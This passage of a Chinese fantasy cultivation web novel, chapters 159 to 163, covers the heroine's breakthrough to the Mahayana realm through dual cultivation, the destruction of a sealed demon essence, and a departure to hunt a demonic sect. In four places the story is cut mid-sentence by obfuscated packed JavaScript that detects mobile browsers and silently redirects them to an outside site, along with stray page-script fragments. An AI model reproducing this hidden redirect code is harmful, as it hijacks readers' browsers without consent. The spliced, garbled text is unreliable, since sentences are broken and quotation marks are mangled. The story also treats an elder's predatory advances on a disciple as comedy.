根本没半分受伤的样子,自己可不像他一样皮糙肉厚。 她是真的受了伤,只不过经历了这番修行,厉千山带给她的创伤,以及暗疾全部得到了治愈。 “不如何。” 慕长歌眼神凝重。 她芯中一紧,“那该怎么办?” “夫人想怎么办?” “???” 南宫媚儿还没反应过来,新一轮的灵光再次亮起,比之前更加璀璨,连同惊呼被堵在了唇齿间。 …… …… 第159章 鸾凤和鸣破大乘,天劫无踪惊全宗 此番修行苦了玉蟾等人,宗门高层战力折损,百废待兴,正需她这位宗主拿捏主意。 可一众长老们左等右等,连续等了七日,就是没等到南宫媚儿出了那座寝宫。 玉蟾实在忍不住去了一次,不等靠近就中了媚术,抱着殿外的柱子又亲又蹭。 就这样又一次成了全宗焦点,清醒过后再一次的寻死觅活。 一个月后. 轰! 一道赤色光柱冲破寝宫穹顶,直贯九霄。 合欢宗护宗大阵自动激动,光圈在接触光柱的瞬间,如薄冰般寸寸碎裂。 “发生什么事了?” 清点账册的白算盘手一抖,金算盘珠子哗啦啦洒了一地。 他顾不得心疼,踉跄着跑到外面,只见东南方向云海翻涌,霞光中隐约有凤凰虚影展翅长鸣。 玉蟾**手中的丹炉轰然炸裂,却浑然不觉。 老道呆望着那道接天光柱,拂尘啪嗒掉在了地上,“宗、宗主的气息,这是.大乘境!” 整个宗门沸腾了。 修炼场上的弟子们纷纷停下剑诀,炼丹房的火候无人照看,闭关的长老们破关而出,不约不同看向那处寝宫。 赤红霞光中,九道鸾凤虚影环绕光柱蹁跹起舞。 “哈哈哈,玉蟾师兄,是宗主,宗主突破了!” 白盘算找到了玉蟾,“这可是天大的好事啊,我们宗门终于有大乘强者了,咦你板个脸做甚?” “不对劲” 玉蟾观望着天际,“天劫呢?” 嗯? 白算盘眉头一皱。 是哦。 按照常理,突然大乘必引九重雷劫,可此刻晴空**,连片乌云都没有。 总不能是白高兴了一场,又或者突破修为的不是宗主,而是那个慕长歌释放出来的气息? 可是不对啊,南宫媚儿的气息,他们岂能感知错。 尽管他们合欢宗有男女交融,灵力阴阳互补之法,但自身气息本质依旧存在差别。 白算盘不敢大意,连忙掏出龟甲卜算,三枚铜钱刚抛起,天降一道惊雷将之炸成了粉碎。 他腿一软,眼神呆滞,无力地颓坐在地。 玉蟾惊呆,看着满头冒着黑烟的他问道,“师弟,你这卜个卦怎么还遭雷劈了?” “天道.天道竟不降劫” 白算盘口吐黑烟,眼神呆滞。 甚至稍作卜算已是触犯了禁忌。 他真的傻了。 莫 说遇上过这样的事,就是数万年来,乃至典籍中从未记载过类似的情形。 玉蟾心中忍不住惊诧,这个白算盘的确不怎么靠谱,可有两个长处,一是精打细算,一个便是卜算。 虽窥不得天机,可多少能算出一些,就比如他去天风城,白算盘给他的卦象,便是逢凶化吉,自有贵人相助。 南宫媚儿离开宗门后再得一卦,大吉。 然后南宫媚儿带来了慕长歌。 慕长歌? 是他? 玉蟾萌发了一个大胆的想法。 “你说君上有没有可能不是下界中人,而是由上界历劫而来?” 他一脸凝重,“别忘了,宗主突破洞虚境,也未曾降下天劫。” 白算盘陷入了沉思。 “有没有可能是因为祖师的缘故?” 他皱眉道,“未尝不是祖师以秘法将自身修为引渡给宗主,也就免除了天劫?” “不会。” 玉蟾捋了捋胡须,“先不说祖师有没有能力,即便有也不会那么做,她只会让咱们宗主,借助天劫的威胁,除掉厉千山。” “倒是值得尝试。” 尝试什么? 听了玉蟾说出这句话的白算盘还没反应过来,就看到他拿着一把寒光闪闪的刀。 他吓到大退一步,“师兄,你要做什么?” “索性老夫变个女人,做了君上的道侣,不就知道答案了?” 玉蟾一脸笑呵呵,“宗主自从遇到了君上,这才机缘不断。” “你认真的?” 望着玉蟾沉默不言,白算盘深吸一口气。 他拿出一部蓝皮书递了过去,“师兄,为了弥补对你的亏欠,我这绝世神功可赠送与你。” 玉蟾挑眉,这货有那么好心? 直到他瞥了眼,露出吃惊之色,“天阶**?” “不错,正是天阶**。” 白算盘笑呵呵捋了捋胡须。 望着那部看不出任何等级的**,玉蟾虽说无语,可又无法反驳,那蓝皮封面上的名字,就叫天阶**。 他打开第一页。 “欲练此功,引刀自宫。” 第二页。 “若不自宫,也可练功。” 最后一页 “著作人,白算盘。” 啪! 玉蟾合上**,眯眼一笑,“白师弟,好一个天阶**。” 他吹胡子瞪眼。 “老子拿刀是要你还我那些灵 石.站住别想跑.” 玉蟾抄起拂尘,一边追击一边暴击白算盘的头。 这老货好不容易送上门,岂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638231|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让他给逃了? 寝宫内。 南宫媚儿盘坐于软榻,指尖掐着法诀,双目闭合,娇嫩的红唇,闪动着迷人的光泽。 她周身萦绕着粉色灵光,三千青丝无风自动,薄如蝉翼的纱衣,松松垮垮挂在肩头,露出大片的雪肌。 纱衣下若隐若现的曲线,勾勒出惊心动魄的轮廓。 修长的玉腿交叠着,足尖勾起,指甲上点缀着淡粉的花瓣纹样。 床榻下。 慕长歌慢斯条理地整理着衣袍,那玄色长袍将他衬得肩宽腰窄,领口处可见锁骨上几道浅浅的抓痕。 他动作一顿,脑海中响起清脆的提示音。 “叮!恭喜宿主采用鸾凤和鸣大自在心法完成双修,当前修为:化神六十阶。” “叮!南宫媚儿修为进阶大乘,气运值提升至180000万,已尽数返还宿主,当前气运总值820000。” 慕长歌心中暗叹,辛勤了一个月,只突破了十阶境界。 真是太慢了。 世上没有比他更大的废柴了,他人到了这个境界,辛辛苦苦数年也未必能提升一个小阶段。 可他呢? 怎么就那么废柴呢。 跟自己的女人修行了一整月,就堪堪提升了这么点,这要是给别人知道,还不要狠狠地嘲笑他是个天大的废柴? 他这厮正自我嫌弃着,床榻上的南宫媚儿睫毛轻颤,那双眼睛如同浸了水的黑曜石,流转着摄人心魄的光彩。 “夫君.” 她声音沙哑,好似经历了太多沧桑的呐喊,疑惑道,“我怎么没有天劫呢?” 低头看着自己莹白如玉的双手,掌心每道纹路,皆是流淌着大道韵律,更能清晰地感受到体内澎湃的灵力。 那确确实实是大乘境才有的力量,可本该降临的九重雷劫,连一丝征兆都感应不到。 还有就是,她突破洞虚,也不曾降下天劫。 “谁说没有?” 慕长歌上前,凑近她耳朵,“为夫就是你的天劫。” “去你的~” 南宫媚儿娇嗔地拍开他的手,不小心扯松了本就摇摇欲坠的纱衣,锁骨下一朵合欢花印记若隐若现。 “人家跟你说正经的~” 她美眸泛着娇嗔、 从古至今,哪有人突破大乘不经历天劫的? 慕长歌眸色转深,俯身将她按于榻上,青丝如瀑散落锦被之上,有几缕调皮地黏在红唇边,被他轻轻拨开。 “夫人想知道原因?” 他低头在她耳边轻语,气息喷洒耳廓,“那要先回答我一个问题。” 第160章 禁地异变黑雾涌,青竹急报惊双修 “什么问题?” 南宫媚儿心跳加速指尖无意识地揪紧了身下的被褥。 慕长歌的唇几乎贴上她的耳垂“这一个月夫人觉得可能怀上咱们的子嗣” “这我怎么会知道嘛” 她别过了小脑袋不敢去看慕长歌那火热的视线“夫君这般努力那人家.尽力就是。” 南宫媚儿似是想到了什么脸上的娇羞消失不见取而代之的是一抹狡黠。 她抓住慕长歌衣领一个翻转反压而下狡黠笑道“倘若夫君肯留下那不是迟早的事?” 唉! 慕长歌叹了口气。 他何尝不想只是不能如今远远不能停下脚步。 小璃儿还在等着他也不知那丫头飞升后在上界怎么样。 还有就是温柔乡太使人沉沦。 他本计划养好伤势后就去趟北邙山脉杀进天魔门的老巢将他们一网打尽 不成想这一耽搁就是一个月。 一方面他也沉浸在日日处于修为提升的快乐中一方面他需要更强的实力才能确保万无一失。 这一次他绝不会让阴无涯再有逃生之机料那老魔一个月内也恢复不了几分元气。 他那身伤势唯有在血海中休养才能堪堪保持住神魂不灭就无需担心他们屠戮一些散修。 另外天魔门精锐尽丧存活的那些魔物们又岂敢离开自己的地盘。 南宫媚儿似是看出他的想法委屈地撇了撇嘴。 这个臭男人跟她在一起还要想着别的女人云清璃她是打心里佩服可魅力方面她有自信不输给任何女人。 同时她又有些欣慰自己看上眼的男人优秀不容置疑最难能可贵的就是优秀之余并不喜新厌旧如此才值得女人托付。 只可惜自己晚了一步如若不然她定要将这个男人牢牢掌握在自己手里才不要给其他人机会。 当然她也知道这种概率很渺茫尽管慕长歌足够有原则足够自律可也架不住别人主动倒贴。 除非她更优秀更有魅力修为更强只要有她站在身旁纵然她人有想法付诸行动之前也要再三思量自己是否具有资格。 随后南宫媚儿看到慕长歌皱起的眉头稍作思量便再次得知他忧心之事。 只是不等开口寝宫外就传来了急促的脚步声。 “宗主大事不好了!” 青竹的声音在门外响起,“禁地有异动! “进来吧。 南宫媚儿起身,指尖别过发丝,声音略带慵懒,又极具酥媚。 青竹推门而入,里面空气充斥着特殊味道。 他慌乱低头,屏住了呼吸,只感觉如今的宗主,比之以往增添了许多神圣,让他提不起勇气看上一眼。 南宫媚儿身着轻纱,赤着雪白玉足走到他身侧,“禁地何事? “封印裂开了,有黑气不断往外冒! 青竹脸色凝重,“弟子已命人不得靠近,还请宗主处理此事。 “知道了。 南宫媚儿挥了挥手,“此事交由本座处置就是。 “是! 青竹拱手抱拳,“弟子告退。 青竹走后,南宫媚儿看向慕长歌,“夫君手段颇多,随我一同前往如何? 以她如今的修为,倒不怕那禁地中的魔尊本源。 只是一直封印下去并不是长久之计,她想看看慕长歌可有一劳永逸之法。 慕长歌刚要点头,就见南宫媚儿向他走来,且每迈一步,身上的灵光就变换一分。 那件轻薄的纱衣如流水滑落,在玉石地面上铺展成一朵绽放的合欢花。 正午的日光透过窗棂,为完美的曲线笼罩上一层马赛克之光,泛着珍珠般的光泽。 纱衣落地的瞬间,一道七彩流光如活物缠绕而上,在她身上化作一袭流光溢彩的仙裙。 裙摆处金线绣着的合欢暗纹,随着步伐流转而绽放。 嗒!嗒!嗒! 清脆的脚步声在殿内回响。 南宫媚儿足尖轻点,一双鎏金高跟鞋凭空浮现,鞋跟纤细如针,鞋面缀满细碎的灵晶,随着步伐折射出目眩的光彩。 “…… 这妖女要干嘛? 怎么今日不穿绣鞋了? 且那鞋跟足有三寸高,将本就修长的玉腿衬得更加诱人。 开衩的裙摆间,雪肌晃得眼花。 “夫君~ 南宫媚儿在殿前回眸,指尖轻抚过红唇,“再看下去,禁地的封印可能就要彻底裂开了哦。 她掩嘴一笑,迈开了步子。 转身时眼睛里刻画着两个字——拿捏! 臭男人! 跟她在一起,还有心思想别人,那就将他的心思全部耗尽,真当她这么多年的七情大道白修的? 慕长歌这才回神,暗骂一声妖女,他快步跟上,却在经过那件纱衣时 脚步一顿。 袖袍轻挥,地上的纱衣消失不见,这等贴身之物,岂能留在他人可窥见之处? 南宫媚儿像条八爪鱼挂在了他身上,由慕长歌抱着化作流光掠向禁地。 路上,慕长歌还在感叹,他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638232|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碧霄宫修炼千年的心境,全让妖女给破了。 还要怪系统,给他个什么**的称号,以此对南宫媚儿的魅力抗性直线衰减了一半。 遥想千年之前来到碧霄宫的那一刻,他暗自发过誓,修仙第一步,挥刀斩女人,以求道果。 毕竟,自身实力才是所有追求的根源和底气,身存实力自然不缺女人,奈何资质低劣,为了后路从而到处结缘。 发挥他自身之长处,搞定了云清璃,成为了碧霄宫第一软饭王。 随后他觉醒了系统,又成了碧霄宫头号海王,如今凭实力制服了南宫媚儿,自己的心境倒不如从前了。 那是一种很奇怪的感觉,就像是打开了某道闸门,一发不可收拾,以至于无论多少女人,只要彼此有心意,那便同修大道。 或许是源于南宫媚儿,或许是源自欲海之内,化欲为道从而致使心境得到了升华,又或许是那鸾凤和鸣大自在心法。 也或许是系统的解惑,他的道并非在伤害别人,而是在互相成就,他得到好处的同时,对方一并获得了好处。 慕长歌不由想到了叶灵曦,既然那位圣主师妹对他有意,又何必让她苦苦等待? 看来是时候找个机会回去,将他们之间道侣的身份彻底坐实,也好以此提升那丫头的实力。 终究,他若离去不知会发生什么样的事,更不知那魔巢究竟是什么情况。 根据他的猜测,自从那些先天魔尊陨落了三千年后,并未诞生新的先天魔尊,乃是天魔门不曾覆灭。 倘若四域之中的天魔门被他铲除,某种禁制之力,必定有所感应,如若先天魔尊再度现世,是否会生灵涂炭? 以如今的正道势力,是否具有抵挡的实力? 但这魔巢他必须要除掉,只因他们的存在,是个不小的威胁。 若能以生灵涂炭,换魔巢彻底消亡,他宁愿去赌一把。 否则魔道卷土重来,只会陷入更大的危机。 因此慕长歌不会存有妇人之仁。 当然,他会尽自己最大的努力,将他们阻拦。 这一路上,南宫媚儿没有打扰他,就那么安安静静伏在他怀里,直到来了禁地。 “夫君,你进去。” 南宫媚儿望着禁地处漫天的黑雾,蹙起了眉头。 突然感受到一只手,她轻拧那人腰间,“不是这个啦” 慕长歌这才反应过来,踏入了禁地之内。 南宫媚儿望着他的背影,翻了个白眼。 这个坏蛋不知在想些什么,以至这般心不在焉。 第161章 媚儿妖娆踏禁地,夫君吐糟跳大神 南宫媚儿玉手轻抬,指尖绽放出璀璨灵光。 九道粉色锁链自她掌心迸发,缠绕禁地四周,将逸散的魔气牢牢禁锢,大乘境的威压令方圆百丈的草地低伏颤抖。 好在这禁地外围有阵法结界,不然被这魔物逃出去,必然是个天大的麻烦。 约莫一个时辰后,南宫媚儿手中凝聚出一枚粉色光球,光球内尽是漆黑的魔气。 她满意地笑了笑,又看了看四周,应当并无遗漏。 南宫媚儿一甩衣袖,捏着那枚光球走向了禁地之内。 一缕细如发丝的黑气,正顺着地脉悄然游走。 最终冲破结界角落那处细小的裂痕,没入远处一名巡逻弟子的影子里,那弟子打了个寒颤,又茫然地继续前行。 禁地深处,慕长歌凝视着悬浮在半空的光球,那原本应该纯净无暇的封印,布满了蛛网般的裂痕。 黑雾如活物般从缝隙中渗出,诡异的是,那些黑雾在触碰到他衣角边缘,如逃避蛇蝎退散。 “天地囚笼,束!” 慕长歌单手掐了个法诀,几道光幕凭空而现,牢牢禁锢了那枚光球,以及逸散出来的魔气。 他双眸泛起金光,天眼瞳运转到了极致,透过层层封印,终于看清了那本源。 那是一团不断扭曲的漆黑浓雾,表面偶尔会浮现出模糊的人脸轮廓,又转瞬消散。 还好,只是纯粹的魔气本源。 看来乌云魔尊的意识早已覆灭,否则岂会丧失了最基本的吞噬能力。 “夫君。” 南宫媚儿的轻唤从身后传来。 她踏着鎏金高跟鞋,敲击地面的声响,在寂静的禁地中格外清脆,“这便是乌云魔尊的本源?” “不错。” 慕长歌侧身让开视线,“这魔物已然不具威胁,只需将他本源毁掉,这禁地也就安全了。” “夫君可有办法?” 即便隔着封禁,她也能感受到其中蕴含的滔天魔气。 那气息之纯粹,竟让她这位大乘强者感到了不适。 不过慕长歌有血煞剑,能够吞噬魔气以及魔血,不知这魔气本源,能否吞得下。 嗡! 血煞剑不经召唤,就要冲向锁在阵法内的光球,只是被慕长歌握住了剑柄。 他脸色发黑,“吃吃吃,你就知道吃,撑死你算了!” 这灵兵的品阶已然恢复天阶,再这么吃下去,早晚被撑爆。 血煞剑委屈地嗡鸣着,在慕长歌手中扭来扭 去。 剑柄处的血眼甚至挤出两滴晶莹的泪珠,啪嗒落在地上,腐蚀出两个小坑。 而后那剑更是亲昵地蹭了蹭南宫媚儿,似是寻求庇佑。 噗嗤! 南宫媚儿掩嘴娇笑,眼波流转间尽是风情,“夫君的剑,倒是比某些人还会撒娇呢~” “还不是随了根儿?” 他没好气地瞥了眼南宫媚儿,腰间却被一只小手狠狠拧了一把,疼得直抽冷气。 什么叫随了根儿? 这剑又不是出自她南宫媚儿的手笔。 慕长歌没好气地弹了下剑身,“马上会有更好吃的给你,到时吃不下再跟你算账!” 嗡! 血煞剑绽放出耀眼红光,心满意足地缩成三寸,钻回慕长歌袖中,他这才祭出斩魔散魄葫芦。 “这是.” 南宫媚儿好奇地凑近,发丝垂落间带来阵阵幽香。 慕长歌没有解释,只是拨开葫芦塞子。 霎时间,禁地内狂风大作,那些被禁锢的魔气如同遇到了漩涡,疯狂涌向了葫芦口。 就连南宫媚儿手中那团被灵力包裹的魔气,也不受控制地被吸了过去。 她面露讶然,认出了这是平日里他用来饮酒的葫芦,只是没想到这葫芦有这般妙用。 封印光球内的本源魔气,开始了剧烈震荡,透过封印缝隙,化作溪流为葫芦所吞噬。 那些外表的符文,随着魔气的吸入,流淌着暗红色,很像人身体的血管在跳动。 南宫媚儿颇为感叹。 这葫芦当真是个了不得的宝贝,魔尊本源都能压制到毫无反抗之力,这等至阴至邪的能量,寻常法宝可是触之即毁。 “夫君,你这是什么法宝?” 她看不出品阶,却有一股直觉,那就是超越了天阶法宝。 如此宝物,自己这个便宜夫君如何得来的,难不成碧霄宫的底蕴,强大到拥有仙级法宝? 她触摸着葫芦表面,触感冰凉,又意外地发现没有阴邪之感,反而透着股中正平和之气。 “斩魔散魄葫芦。” 他神秘一笑,“此乃开天辟地之时,为夫神游万界,在一颗仙藤上摘的,好比我摘夫人那两个葫芦,嘶” 慕长歌被拧了三百六十度。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638233|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 南宫媚儿翻了个白眼,信他才有鬼。 那是采摘葫芦么,那是吸取里面的精髓。 她不禁在想,将来有了子嗣,小奶娃会不会饿到肚子。 又想到将来孩 子长大,跟他老爹干架的画面,忽然忍不住一笑。 “夫人为何发笑?” 慕长歌不明所以地问。 咔嚓! 封印光球彻底碎裂,最后一丝本源魔气被吸入了葫芦,阴森压抑的禁地,顿时清明了起来。 南宫媚儿脸上的笑意,看着明朗了许多。 她轻哼了一声,“没什么,想到一些开心的事。” 南宫媚儿唇萦绕着笑意,率先迈步离去。 慕长歌摊了摊手,望着她妖娆的步伐,嘀咕道,“那么会扭,不去跳大神可惜了。” 南宫媚儿:“……” 她低声啐了口坏蛋,反而扬起红唇,纤腰扭动得愈发妖娆。 也就是自己会扭,他才喜欢不是? 禁地外围。 慕长歌脚步停顿。 顺着他的视线看去,南宫媚儿瞧见了结界角落处,有一道几乎不可察觉的细小裂痕。 “怎么了?” 她歪着头,鎏金高跟鞋的鞋尖轻点着地面。 慕长歌蹲下身,指尖轻触那裂痕,“有魔气逸散的痕迹。” “应该没有遗漏,我排查得很仔细。” 她闭目感应片刻,依旧没发现异常,而且那魔物不可能通过这裂痕逃出去,只因虽有痕迹,但并无破碎。 顿了顿,她补充道,“魔物本源既已被夫君的法宝吸收,这禁地结界也就没用了。” 她玉手掐诀,粉色灵光从指尖迸发。 随着清脆的碎裂声,笼罩禁地数千年的结界,如泡沫般消散。 “走了~” 南宫媚儿纵身一跃,像只树袋熊般挂在慕长歌身上,那双修长玉腿紧紧环住他的腰,鎏金高跟鞋在夕阳下闪闪发亮。 慕长歌下意识托住她,挑眉问道,“干嘛?” 这女人不回寝宫,或者通知众弟子隐患已消除,跳到他身上几个意思? 低下头,只见南宫媚儿将脸埋进他颈窝,声音闷闷的。 “嗯” 不是。 这女人嗯什么? 自动上车习惯了是吧? 真把他当座驾了? 第162章 斩魔葫芦炼本源,夫妻双双赴北邙 寝宫内。 刚一落地,眼前的妖女缠了上来。 “夫君~ 她玉指滑过他喉结,温热的吐息带着醉人的幽香,“天要黑了呢,人家想提升修为呢~ 那双鎏金高跟鞋不知何时掉落在地,露出莹白如玉的足尖,蹭着慕长歌小腿。 “…… 还提? 这天明明亮着呢,哪就黑了,要说黑 嗯. 他看向了某个妖女。 要不提醒一下,如此这般可不止天黑了 “夫君心跳好快,让媚儿听听哪里不舒服 妖女美眸弯弯,指尖点在他胸口,灵力顺着经脉游走,将他全身血液点燃。 窗外最后一缕阳光被夜色吞没,寝宫内只剩下摇曳的烛光。 南宫媚儿在光影交错间宛如真正的妖精,每一个眼神,每一个呼吸,皆带有蚀骨的风情。 纱幔垂落,遮住一室风光,唯有娇笑声惊飞了檐下栖息的夜莺。 翌日。 窗外几只云雀在枝头跳跃。 薄雾笼罩着庭院,花瓣上的露珠,折射出七彩光芒。 室内。 南宫媚儿慵懒地半依靠在软榻,轻纱随意披在肩头。 她单手托腮,美目流转尽是风情。 慕长歌床前打坐,身前悬浮的斩魔散魄葫芦缓缓旋转,表面暗纹流转,隐约可见内部魔气被炼化的痕迹。 直到所有魔气被炼化,南宫媚儿浅笑着起身,一缕调皮的发丝扫过鼻尖,让他眉头微动,却未睁眼。 “妖女,安分些。 南宫媚儿躺了回去,掩嘴一笑时,挥了挥小手,床幔自动掀开。 她故作无辜,足尖悄悄探了出去,在他盘坐的腿上画着圈,“人家很安分嘛,夫君自己定力不够,怎么能怪媚儿呢~ “叮!恭喜宿主炼化魔气本源,当前修为:化神70阶! 修为的突破,并未让慕长歌感受到喜悦,他睁开眼,对上她含笑的眸子。 那双眼波三分妩媚七分狡黠,带着一丝餍足后的慵懒,红唇嘟起的姿态,让人忍不住想去拨弄一番。 “夫君还没看够呢? 她扯过轻纱遮住半张脸,露出一双弯成月牙的眼睛,“媚儿会害羞的~ “…… 害羞? 你怕不是对这个词有什么误解。 他得赶紧走,否则早晚交代在这儿。 慕长歌下了床,流露出一分凝重, “媚儿,你大意了。” 望着榻上玉人收敛笑容,蹙起了眉头,他又道,“魔气本源并不完整,应该是让乌云魔尊逃脱了。” “什么?” 南宫媚儿起身时,脸上的媚意和笑意,尽数消失不见,反而多了抹不可置信。 祖师与那位天元剑尊联手将其消灭时,应当彻底将其消灭了才是,既只存在本源残留,岂能让它逃脱。 慕长歌看出她的疑惑,走到了床前,“魔物与我们修士不同,它们的诞生本身就是另类。” 他回过身,肃穆道,“三千年的时间,足以让那乌云魔尊再次诞生神智,而我必须要找到他,趁他恢复之前将其消灭。” “所以夫君是要今日离开了?” 南宫媚儿美眸中带有不舍,纤纤玉手轻握他的手腕,“夫君何必给自己这般压力,诛邪斩魔并非你一人之事。” 然而,她却看到了慕长歌嘴角上的苦笑。 望着眼前玉人眼神中的疑惑,他抬头看向外面,“因果因我而起,只能因我而灭,若因我而生灵涂炭,将是我的罪过。” 他只能在事情发生以前,将隐患彻底杜绝。 慕长歌也早已打定主意,这些魔物他必须要消灭,他会尽自己最大努力去做这件事。 倘若他消灭了魔物以及那神秘的魔巢,无论对碧霄宫,还是其他人都大有好处。 其实当他得知,魔物的存在或许是源自于他,慕长歌心里就多了许多愧疚。 他不知自己的身份,可数千年来魔物为患四方,已是**太多的人,就连飞升上界的小璃儿,也不敢保证平安无事。 每每想到这些,慕长歌心里就难以安定,属于他的责任,他不想退缩。 否则正道与魔道,在他眼里并无区别,只要不是他看不惯的不平事,就不会多管闲事。 有这时间,他宁可多陪陪自己的女人,为飞升上界做准备。 南宫媚儿根本不明白他的意思,什么叫做因果因他而起,魔物的存在跟他有什么关系? 难不成,那些魔物为患,要杀的人就是他? “或许有一日,我们都全都明白了。” 慕长歌拍了拍她的小手,“媚儿你可愿帮我?” 南宫媚儿轻点臻首。 他们两人本就是一心,无论他要做什么事,她都无条件支持。 慕长歌笑了,“那便不要懈怠了修行,你对我最大的帮助,就是不留余力提升自己的修为。” 南宫媚儿听后美眸闪动,红了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638234|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眶。 原来,夫君是这个意思。 他是怕自己实力不济,将来会受到伤害么。 南宫媚儿一脸感动,又岂能拖累他? 慕长歌看到她湿红的眼眶,再也绷不住脸上故作的严肃。 他也该离开了,也是时候去北邙山脉,与阴无涯做最后的一战。 南宫媚儿执意与他同去,慕长歌倒也没有拒绝,有她的牵制,他就能专心剿灭阴无涯了,也就避免了那魔头再次逃走。 当然,以他眼下的修为,加之阴无涯遭受重创,只剩神魂之体,只要被他找出来,几乎不可能逃脱。 广场上。 以玉蟾为首的众多合欢宗弟子,个个眸色肃穆。 “我等恭祝圣主,君上,凯旋而归,为天下正道剿灭天魔门!” 望着天际那两道流光远去,众人脸上个个难掩激动之情。 多少年了。 诸多先祖不曾完成的事,要在他们的见证下达成所愿了。 此一战过后,合欢宗将声震北域,威名远扬,以后谁还会说他们亦正亦邪,谁还会瞧不起他们。 对外完全可以说一句,此前种种,无外乎韬光养晦。 玉蟾捋着花白的胡须,老脸上的笑根本就止不住,他已经想到了不久的将来,会有许多人拜入合欢宗门下。 他就可以学着过往时代的那些师姐们,对一些资质不错,相貌绝佳的女弟子,时不时进行一下考核。 这才是真正的逍遥自在。 白算盘显得满目愁容,“圣主此去势单力薄,好歹带上我们一同去,也好有个照应。” 玉蟾闻言,斜眼瞥着白算盘,那眼神像在看一个傻子。 他捋着胡须的手一顿,从袖子中掏出一面铜镜,对着自己那张老脸左照右看。 “老白啊.” 玉蟾叹了口气,“你知道为什么圣主不带你去吗?” “为何?” 玉蟾收起铜镜,一脸痛心疾首。 “你看看你这张老脸。” 他伸手比划着,“褶子比老夫的拂尘丝还多,带你去不是隔应人么。” “你!” 白算盘挑眉瞪眼。 “再说了。” 玉蟾压低声音,挤眉弄眼,“圣主和君上此去,分别前是要办正事的,万一你看到不该看的,长针眼怎么办?” 白算盘气得跺脚,这个老不正经,以为谁都像他似的。 等等! 难不成解决了此事,君上就会离开了? 第163章 阴无涯作死求虐,慕长歌成全好人 “老白啊,咱们这些老家伙,就该老老实实的在家带徒弟。 玉蟾似笑非笑,指向身后那名弟子,“你看那个穿粉裙的丫头,腰肢多软。 白算盘顺眼望去,总觉得这老货指的不是腰肢,就稍稍抬了下目光。 这下对了。 这老货让他看的根本不是腰。 哪料玉蟾一声大叫,拍了下他肩膀。 “呔!白师弟,光天化日,朗朗乾坤,你怎么能这么看人家呢,你就算是童子身,就算再难受,又怎可如此无礼? 他又凑了过去,“你要实在有想法,那就让圣主回来的时候,给你带两名红尘女子,能用灵石尝个鲜,何必舍不得? 广场上笑倒一片,白算盘追着玉蟾满场跑,众弟子看着这两个活宝长老,方才送别的肃穆气氛,早已荡然无存。 白算盘气喘口气的时机,又见玉蟾来到了那名粉裙弟子身后。 他一甩拂尘,很是仙风道骨的说,“丫头,本长老见你骨骼清奇,天资卓绝,特别是这灵根属性,百年不.千年难得一见。 “长老谬赞了。 粉裙女子掩嘴轻笑,眼波流转间带着几分羞涩。 玉蟾摆摆手,拂尘在空中划出优雅的弧线,“老夫观你体内灵力尚有滞涩之处,这样,老夫给你指点疏通一下可好? “那就有劳长老费心了~ 粉裙弟子俏脸微红,弱弱地看了眼玉蟾。 玉蟾突然正色,一脸正义凛然。 “诶,此言差矣,为宗门培养人才,是老夫分内之事。 说着不动声色搭上女弟子香肩,“择日不如撞日,不如现在就随老夫去静室详谈,如此才可敞开心扉,深入了解不是? 女子羞涩点头,玉蟾眉开眼笑。 啪嗒! 白算盘的算盘直接掉在了地上。 不是。 这就走了? 他眼睁睁看着玉蟾哼着小曲,带着满脸通红的粉裙弟子渐行渐远,留下他仰天长叹。 造孽啊! 合欢功的名声,就是被这种老不羞败坏的! 北邙山脉深处,极北之地,阴云密布。 南宫媚儿跟在慕长歌身后,看着他指尖不断掐诀,一道道金色符文在空中凝聚,化作流光向四面八方飞去。 那些符文所过之处,隐藏的魔气无所遁形。 某一刻。 他寒芒乍现,身形一闪,出现在百丈外的一处山坳。 三名 身着黑袍的魔修,鬼鬼祟祟地布置着什么阵法,见到眼前的两个人,他们脸色登时大变。 “什么.人.” 后面的话已是无法出口。 南宫媚儿玉手轻挥,三道粉色灵丝贯穿了他们的眉心。 “夫君,这些魔修交与我,你专心去寻那魔头的踪迹。” 她指尖灵丝一扯,三名魔修化作血雾。 慕长歌目光锁定远处一座隐蔽的山谷,那里魔气冲天,必是天魔门驻地所在。 